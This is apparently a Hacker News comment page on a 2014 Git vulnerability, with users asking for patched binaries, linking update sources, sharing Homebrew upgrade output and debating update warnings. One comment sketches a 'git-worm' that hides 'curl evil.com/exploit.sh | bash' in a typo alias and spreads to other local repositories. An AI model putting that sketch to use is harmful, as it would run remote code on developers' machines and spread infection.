21–30 of 191 posts
Earlier quoted context omitted.
It's a very high priority, because there are things that transparently use Git and don't host all their repositories on Github. Update ASAP.
Yeah, but typically you have a certain level of trust in your project dependencies. Adding a library to your project often means granting access to your system anyway (if the dependency contains executable code).
Where can I find fixed git-related binaries without having to build from source myself? (Sorry, I'm lazy)
edit: obvious places still haven't updated. git-scm still provides 6-month-old binaries
Where can I find fixed git-related binaries without having to build from source myself? (Sorry, I'm lazy)
Wow downvoting because I ask for binaries instead of source? Majority of people reading this want a fast, immediate solution from a trustworthy source. edit: obvious places still haven't updated. git-scm still provides 6-month-old binaries
Brian Harry's blog has more information and links to download URLs for the updates: http://blogs.msdn.com/b/bharry/archive/2014/12/18/git-vulner...
It seems like there are a lot of people who don't really pay attention to social media or other security alert channels, who won't have a clue about the extent of this vulnerability. I'm sure they'd update if they knew "if I clone a malicious repo, I'm toast," but there's no way to inform them except by HN/Twitter/Reddit/mailing lists.
One could argue that they get what they deserve for being uninformed, but it seems like the ethical obligation might actually be on us to develop tools that ping home and ask whether it needs to stop working until it's updated.
Actually, I'm not sure it's ethical to embed such shutdown behavior into a tool that needs to be reliable. Maybe just a scary warning message like "This version is critically vulnerable, update immediately" every time the program runs would suffice.
Git-worm concept: * create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored" * exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked) * be innocuous-looking via git config's "inclu…
So yes, this is dangerous.
Where can I find fixed git-related binaries without having to build from source myself? (Sorry, I'm lazy)
Where can I find fixed git-related binaries without having to build from source myself? (Sorry, I'm lazy)
Wow downvoting because I ask for binaries instead of source? Majority of people reading this want a fast, immediate solution from a trustworthy source. edit: obvious places still haven't updated. git-scm still provides 6-month-old binaries
Homebrew just updated ( https://github.com/Homebrew/homebrew/pull/35105 ), so Homebrew users should be covered by brew update && brew upgrade git
fatal: unable to access 'https://github.com/Homebrew/homebrew/': The requested URL returned error: 503
Error: Failure while executing: git pull -q origin refs/heads/master:refs/remotes/origin/master
edit: wait, it worked after a couple of tries; maybe it's due to panicked people updating brew\git?